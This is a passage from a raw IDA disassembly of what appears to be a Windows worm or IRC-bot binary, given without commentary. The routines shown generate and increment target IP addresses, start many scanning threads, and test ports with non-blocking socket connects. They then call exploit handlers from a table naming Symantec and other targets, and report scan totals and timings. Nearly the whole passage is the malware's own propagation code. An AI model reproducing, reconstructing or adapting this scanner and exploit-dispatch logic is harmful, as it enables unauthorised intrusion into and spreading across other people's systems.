; CODE XREF: sub_40B90E+6Fj mov eax, [esi] test eax, eax jbe short loc_40B976 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431B88 push eax call sub_41C266 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41CBC0 add esp, 1Ch loc_40B976: ; CODE XREF: sub_40B90E+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B941 pop esi loc_40B980: ; CODE XREF: sub_40B90E+2Bj push dword_4CB714 call sub_41ADD8 pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41C266 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41CBC0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 34h pop edi pop ebx leave retn sub_40B90E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9DD proc near ; CODE XREF: sub_401ACD+2A9Cp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CE4E0 mov ecx, dword_4CE4DC push esi push dword_4CB714 lea esi, [ecx+eax] call sub_41ADD8 pop ecx push eax push esi push dword_4CE4E0 lea eax, [ebp+var_200] push dword_4CE4DC push offset unk_431BB4 push eax call sub_41C266 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 30h pop esi leave retn sub_40B9DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA49 proc near ; CODE XREF: sub_401ACD+2A86p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CB714 call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_200] push dword_4CE718 push offset unk_431BFC push eax call sub_41C266 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 28h leave retn sub_40BA49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA9E proc near ; CODE XREF: sub_401ACD+2A70p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41C500 push edi lea eax, [ebp+var_800] push offset dword_431C48 push eax call sub_41C266 cmp dword_4317F8, 0 pop ecx pop ecx mov edi, 800h jz short loc_40BB0A push esi mov esi, offset aSymantec ; "Symantec" loc_40BAD3: ; CODE XREF: sub_40BA9E+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431C38 push eax call sub_41C266 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41CBC0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40BAD3 pop esi loc_40BB0A: ; CODE XREF: sub_40BA9E+2Dj push dword_4CB714 call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41C266 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41CBC0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_800] push eax call sub_415D38 add esp, 30h pop edi leave retn sub_40BA9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB65 proc near ; DATA XREF: sub_401ACD+309Ao var_3F0 = byte ptr -3F0h var_1F0 = dword ptr -1F0h var_1EC = byte ptr -1ECh var_1DC = byte ptr -1DCh var_15C = byte ptr -15Ch var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_134 = byte ptr -134h var_124 = byte ptr -124h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3F0h mov eax, [ebp+arg_0] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp+var_134] push eax call dword_4CBA14 ; inet_addr xor edi, edi mov [ebp+var_8], eax cmp dword_4317F8, edi mov [ebp+var_4], edi mov [ebp+arg_0], edi jz loc_40BCC7 mov ebx, offset dword_4317F8 mov eax, ebx loc_40BBB6: ; CODE XREF: sub_40BB65+15Cj push [ebp+var_1C] push dword ptr [eax] push [ebp+var_8] call sub_40C34B add esp, 0Ch cmp eax, 1 jnz loc_40BCB7 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp+var_134] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp+var_3F0] push offset unk_431C98 push eax call sub_41C266 push edi lea eax, [ebp+var_3F0] push [ebp+var_14] push eax lea eax, [ebp+var_124] push eax push [ebp+var_24] call sub_409869 lea eax, [ebp+var_3F0] push eax call sub_415D38 add esp, 2Ch lea eax, [ebp+var_134] push eax lea eax, [ebp+var_1EC] push eax call sub_41C266 pop ecx lea eax, [ebp+var_15C] pop ecx push esi push eax call sub_41C266 cmp [ebp+var_A4], 0 pop ecx pop ecx lea eax, [ebp+var_A4] jnz short loc_40BC52 lea eax, [ebp+var_124] loc_40BC52: ; CODE XREF: sub_40BB65+E5j push eax lea eax, [ebp+var_1DC] push eax call sub_41C266 mov eax, [ebp+var_24] pop ecx mov [ebp+var_1F0], eax mov eax, [ebp+var_14] mov [ebp+var_140], eax mov eax, [ebp+var_10] pop ecx mov [ebp+var_13C], eax mov eax, [ebx] sub esp, 0BCh mov [ebp+var_150], eax mov eax, [ebp+var_18] push 2Fh mov [ebp+var_14C], eax mov eax, [ebp+arg_0] pop ecx lea esi, [ebp+var_1F0] mov edi, esp mov [ebp+var_148], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc [ebp+var_4] xor edi, edi loc_40BCB7: ; CODE XREF: sub_40BB65+64j inc [ebp+arg_0] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40BBB6 loc_40BCC7: ; CODE XREF: sub_40BB65+44j push [ebp+var_4] lea eax, [ebp+var_134] push eax lea eax, [ebp+var_3F0] push offset unk_431C64 push eax call sub_41C266 push edi lea eax, [ebp+var_3F0] push [ebp+var_14] push eax lea eax, [ebp+var_124] push eax push [ebp+var_24] call sub_409869 lea eax, [ebp+var_3F0] push eax call sub_415D38 push [ebp+var_18] call sub_40B6D6 add esp, 2Ch push edi call dword_4270D4 ; ExitThread sub_40BB65 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD1A proc near ; CODE XREF: sub_401ACD+23F4p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B602 test eax, eax pop ecx jle short loc_40BD56 mov eax, [ebp+arg_C] push dword_4CBB20[eax*8] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset unk_431CE8 push eax call sub_41C266 add esp, 0Ch jmp short loc_40BD69 ; --------------------------------------------------------------------------- loc_40BD56: ; CODE XREF: sub_40BD1A+13j lea eax, [ebp+var_200] push offset unk_431CC8 push eax call sub_41C266 pop ecx pop ecx loc_40BD69: ; CODE XREF: sub_40BD1A+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 18h leave retn sub_40BD1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD91 proc near ; CODE XREF: sub_40C600+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40C263 shl eax, 6 xor ebx, ebx cmp dword_431804[eax], ebx jz loc_40C263 push 5 call sub_40B602 test eax, eax pop ecx jnz loc_40C018 mov eax, dword_429078 push edi mov esi, offset dword_4CDBDC push 104h push esi push ebx mov dword_4CDDEC, eax mov dword_4CDDE8, ebx call dword_427078 ; GetModuleFileNameA mov edi, offset byte_429108 push 103h push edi push offset dword_4CDCE0 call sub_41BFD0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDBD8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CDE70, eax jnz short loc_40BE44 lea eax, [ebp+arg_10] push eax push offset dword_4CDDF0 call sub_41BFD0 add esp, 0Ch mov dword_4CDE74, 1 jmp short loc_40BE5E ; --------------------------------------------------------------------------- loc_40BE44: ; CODE XREF: sub_40BD91+94j lea eax, [ebp+arg_90] push eax push offset dword_4CDDF0 call sub_41BFD0 add esp, 0Ch mov dword_4CDE74, ebx loc_40BE5E: ; CODE XREF: sub_40BD91+B1j push esi lea eax, [ebp+var_204] push dword_4CDDEC push offset unk_42C204 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B3BA add esp, 1Ch mov dword_4CDDE4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDBD8 push offset sub_412197 push ebx push ebx call dword_427084 ; CreateThread mov ecx, dword_4CDDE4 imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40BECC loc_40BEBA: ; CODE XREF: sub_40BD91+139j cmp dword_4CDE78, ebx jnz short loc_40BEE7 push 32h call dword_427080 ; Sleep jmp short loc_40BEBA ; --------------------------------------------------------------------------- loc_40BECC: ; CODE XREF: sub_40BD91+127j call dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_431E08 push eax call sub_41C266 add esp, 0Ch loc_40BEE7: ; CODE XREF: sub_40BD91+12Fj lea eax, [ebp+var_204] push eax call sub_415D38 mov eax, dword_4CB710 mov esi, offset dword_4CDE84 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CE094, eax mov dword_4CE090, ebx call dword_427078 ; GetModuleFileNameA push 103h push edi push offset dword_4CDF88 call sub_41BFD0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDE80, eax mov eax, [ebp+arg_138] pop edi mov dword_4CE118, eax push 7Fh jnz short loc_40BF68 lea eax, [ebp+arg_10] push eax push offset dword_4CE098 call sub_41BFD0 add esp, 0Ch mov dword_4CE11C, 1 jmp short loc_40BF82 ; --------------------------------------------------------------------------- loc_40BF68: ; CODE XREF: sub_40BD91+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CE098 call sub_41BFD0 add esp, 0Ch mov dword_4CE11C, ebx loc_40BF82: ; CODE XREF: sub_40BD91+1D5j push esi lea eax, [ebp+var_204] push dword_4CE094 push offset unk_431DD4 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B3BA add esp, 1Ch mov dword_4CE08C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDE80 push offset sub_40F3AA push ebx push ebx call dword_427084 ; CreateThread mov ecx, dword_4CE08C imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40BFF0 loc_40BFDE: ; CODE XREF: sub_40BD91+25Dj cmp dword_4CE120, ebx jnz short loc_40C00B push 32h call dword_427080 ; Sleep jmp short loc_40BFDE ; --------------------------------------------------------------------------- loc_40BFF0: ; CODE XREF: sub_40BD91+24Bj call dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_431DA0 push eax call sub_41C266 add esp, 0Ch loc_40C00B: ; CODE XREF: sub_40BD91+253j lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C018: ; CODE XREF: sub_40BD91+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43180C[ecx], ebx jz loc_40C141 push 7 call sub_40B602 test eax, eax pop ecx jnz loc_40C13B mov eax, dword_4CE710 cmp [ebp+arg_90], bl mov dword_4CDB44, eax mov eax, [ebp+arg_110] mov dword_4CDB38, eax mov eax, [ebp+arg_138] mov dword_4CDB40, ebx mov dword_4CDBC8, eax push 7Fh jnz short loc_40C08C lea eax, [ebp+arg_10] push eax push offset dword_4CDB48 call sub_41BFD0 add esp, 0Ch mov dword_4CDBCC, 1 jmp short loc_40C0A6 ; --------------------------------------------------------------------------- loc_40C08C: ; CODE XREF: sub_40BD91+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CDB48 call sub_41BFD0 add esp, 0Ch mov dword_4CDBCC, ebx loc_40C0A6: ; CODE XREF: sub_40BD91+2F9j push dword_4CDB44 lea eax, [ebp+var_204] push offset unk_431D70 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B3BA add esp, 18h mov dword_4CDB3C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDB38 push offset sub_40F108 push ebx push ebx call dword_427084 ; CreateThread mov ecx, dword_4CDB3C imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C113 loc_40C101: ; CODE XREF: sub_40BD91+380j cmp dword_4CDBD0, ebx jnz short loc_40C12E push 32h call dword_427080 ; Sleep jmp short loc_40C101 ; --------------------------------------------------------------------------- loc_40C113: ; CODE XREF: sub_40BD91+36Ej call dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_431D38 push eax call sub_41C266 add esp, 0Ch loc_40C12E: ; CODE XREF: sub_40BD91+376j lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C13B: ; CODE XREF: sub_40BD91+2A8j mov eax, [ebp+arg_130] loc_40C141: ; CODE XREF: sub_40BD91+298j shl eax, 6 cmp dword_431808[eax], ebx jz loc_40C263 push 3 call sub_40B602 test eax, eax pop ecx jnz loc_40C263 mov esi, offset dword_4CE3B4 push 104h push esi push ebx call dword_427078 ; GetModuleFileNameA push 5Ch push esi call sub_41C820 pop ecx cmp eax, ebx pop ecx jz short loc_40C182 mov [eax], bl loc_40C182: ; CODE XREF: sub_40BD91+3EDj mov eax, dword_42907C mov dword_4CE4CC, ebx mov dword_4CE4B8, eax lea eax, [ebp+arg_10] push eax push offset dword_4CE12C call sub_41C266 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CE128, eax mov ecx, [ebp+arg_138] push esi push dword_4CE4B8 mov dword_4CE4C4, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CE4C8, ecx call sub_40AA06 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42C18C push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B3BA add esp, 20h mov dword_4CE4C0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CE128 push offset sub_40FAD6 push ebx push ebx call dword_427084 ; CreateThread mov ecx, dword_4CE4C0 imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C23B loc_40C229: ; CODE XREF: sub_40BD91+4A8j cmp dword_4CE4D4, ebx jnz short loc_40C256 push 32h call dword_427080 ; Sleep jmp short loc_40C229 ; --------------------------------------------------------------------------- loc_40C23B: ; CODE XREF: sub_40BD91+496j call dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_431D04 push eax call sub_41C266 add esp, 0Ch loc_40C256: ; CODE XREF: sub_40BD91+49Ej lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C263: ; CODE XREF: sub_40BD91+14j ; sub_40BD91+25j ... pop esi pop ebx leave retn sub_40BD91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C267 proc near ; CODE XREF: sub_40C3E8:loc_40C459p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CBB20h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41CD20 add esp, 0Ch push [ebp+arg_0] call dword_4CB8FC ; htonl inc eax push eax mov [ebp+arg_0], eax call dword_4CB9D0 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41CD20 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40C267 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2AF proc near ; CODE XREF: sub_40C3E8+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41B9C0 cmp eax, 0Fh pop ecx jbe short loc_40C2D7 xor eax, eax jmp short loc_40C348 ; --------------------------------------------------------------------------- loc_40C2D7: ; CODE XREF: sub_40C2AF+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41CCE3 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C304 call sub_41C2C2 mov [ebp+var_C], eax loc_40C304: ; CODE XREF: sub_40C2AF+4Bj cmp [ebp+var_8], esi jnz short loc_40C311 call sub_41C2C2 mov [ebp+var_8], eax loc_40C311: ; CODE XREF: sub_40C2AF+58j cmp [ebp+var_4], esi jnz short loc_40C31E call sub_41C2C2 mov [ebp+var_4], eax loc_40C31E: ; CODE XREF: sub_40C2AF+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C32A call sub_41C2C2 loc_40C32A: ; CODE XREF: sub_40C2AF+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CBB20[ecx*8], eax loc_40C348: ; CODE XREF: sub_40C2AF+26j pop esi leave retn sub_40C2AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C34B proc near ; CODE XREF: sub_40BB65+59p ; sub_40C3E8+BBp ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CBA54 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C374 xor eax, eax jmp short loc_40C3E3 ; --------------------------------------------------------------------------- loc_40C374: ; CODE XREF: sub_40C34B+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CB9D4 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CBA70 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CB97C ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CB9BC ; select push esi mov edi, eax call dword_4CBA6C ; closesocket xor eax, eax cmp edi, ebx setnle al loc_40C3E3: ; CODE XREF: sub_40C34B+27j pop edi pop esi pop ebx leave retn sub_40C34B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3E8 proc near ; DATA XREF: sub_40C600+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call dword_4270B0 ; GetTickCount push eax call sub_41C2B8 mov ebx, esi pop ecx imul ebx, 234h loc_40C42F: ; CODE XREF: sub_40C3E8+204j mov eax, dword_43E914[ebx] cmp dword_4CBB24[eax*8], 0 jz loc_40C5F1 cmp [ebp+var_10], 0 push eax jz short loc_40C459 lea eax, [ebp+var_150] push eax call sub_40C2AF pop ecx jmp short loc_40C45E ; --------------------------------------------------------------------------- loc_40C459: ; CODE XREF: sub_40C3E8+60j call sub_40C267 loc_40C45E: ; CODE XREF: sub_40C3E8+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43E914[ebx] push [ebp+var_3C] push edi call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_431E64 push eax call sub_41C266 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43E710[ebx] push eax call sub_41C266 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C34B add esp, 14h cmp eax, 1 jnz loc_40C5E1 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C535 push offset dword_4CDB20 call dword_4270DC ; RtlEnterCriticalSection push [ebp+var_3C] push edi call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_431E3C push eax call sub_41C266 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C517 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C50B lea eax, [ebp+var_140] loc_40C50B: ; CODE XREF: sub_40C3E8+11Bj push eax push [ebp+var_40] call sub_409869 add esp, 14h loc_40C517: ; CODE XREF: sub_40C3E8+100j lea eax, [ebp+var_28C] push eax call sub_415D38 mov [esp+2A8h+var_2A8], offset dword_4CDB20 call dword_4270D8 ; RtlLeaveCriticalSection jmp loc_40C5E1 ; --------------------------------------------------------------------------- loc_40C535: ; CODE XREF: sub_40C3E8+D0j push edi call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_41C266 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41C266 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C57A lea eax, [ebp+var_140] loc_40C57A: ; CODE XREF: sub_40C3E8+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41C266 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_4317FC[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C5E1: ; CODE XREF: sub_40C3E8+C6j ; sub_40C3E8+148j push 7D0h call dword_427080 ; Sleep jmp loc_40C42F ; --------------------------------------------------------------------------- loc_40C5F1: ; CODE XREF: sub_40C3E8+55j push esi call sub_40B6D6 pop ecx push 0 call dword_4270D4 ; ExitThread sub_40C3E8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C600 proc near ; DATA XREF: sub_401ACD+1F2Ao ; sub_401ACD+5B7Ao var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CBA14 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CBB20[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BD91 push 0Bh call sub_40B602 add esp, 150h cmp eax, ebx jnz short loc_40C6CE mov esi, offset dword_4CDB20 push esi call dword_4270E4 ; RtlDeleteCriticalSection push 80000400h push esi call dword_4270E0 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_40C6CE lea eax, [ebp+var_1CC] push offset unk_431F48 push eax call sub_41C266 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C6B8 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409869 add esp, 14h loc_40C6B8: ; CODE XREF: sub_40C600+99j lea eax, [ebp+var_1CC] push eax call sub_415D38 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C6CE: ; CODE XREF: sub_40C600+63j ; sub_40C600+7Fj mov eax, [ebp+var_2C] mov esi, dword_427080 mov edi, ebx mov dword_4CBB24[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C79B loc_40C6EC: ; CODE XREF: sub_40C600+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431F14 push eax call sub_41C266 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B3BA mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43E914[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C3E8 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C766 loc_40C75B: ; CODE XREF: sub_40C600+164j cmp [ebp+var_4], ebx jnz short loc_40C78D push 1Eh call esi ; Sleep jmp short loc_40C75B ; --------------------------------------------------------------------------- loc_40C766: ; CODE XREF: sub_40C600+159j call dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1CC] push offset unk_431EDC push eax call sub_41C266 lea eax, [ebp+var_1CC] push eax call sub_415D38 add esp, 10h loc_40C78D: ; CODE XREF: sub_40C600+15Ej push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_40C6EC loc_40C79B: ; CODE XREF: sub_40C600+E6j cmp [ebp+var_30], ebx jz loc_40C845 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep loc_40C7B0: ; CODE XREF: sub_40C600+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CBB20[eax*8] push eax call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_1CC] push offset unk_431E9C push eax call sub_41C266 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C7FE push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409869 add esp, 14h loc_40C7FE: ; CODE XREF: sub_40C600+1DFj lea eax, [ebp+var_1CC] push eax call sub_415D38 mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_4CBB24[eax*8], ebx call esi ; Sleep push 0Bh call sub_40B602 cmp eax, 1 pop ecx jnz short loc_40C835 push offset dword_4CDB20 call dword_4270E4 ; RtlDeleteCriticalSection loc_40C835: ; CODE XREF: sub_40C600+228j push [ebp+var_2C] call sub_40B6D6 pop ecx push ebx call dword_4270D4 ; ExitThread loc_40C845: ; CODE XREF: sub_40C600+19Ej ; sub_40C600+25Dj mov eax, [ebp+var_2C] cmp dword_4CBB24[eax*8], 1 jnz loc_40C7B0 push 7D0h call esi ; Sleep jmp short loc_40C845 sub_40C600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C85F proc near ; DATA XREF: 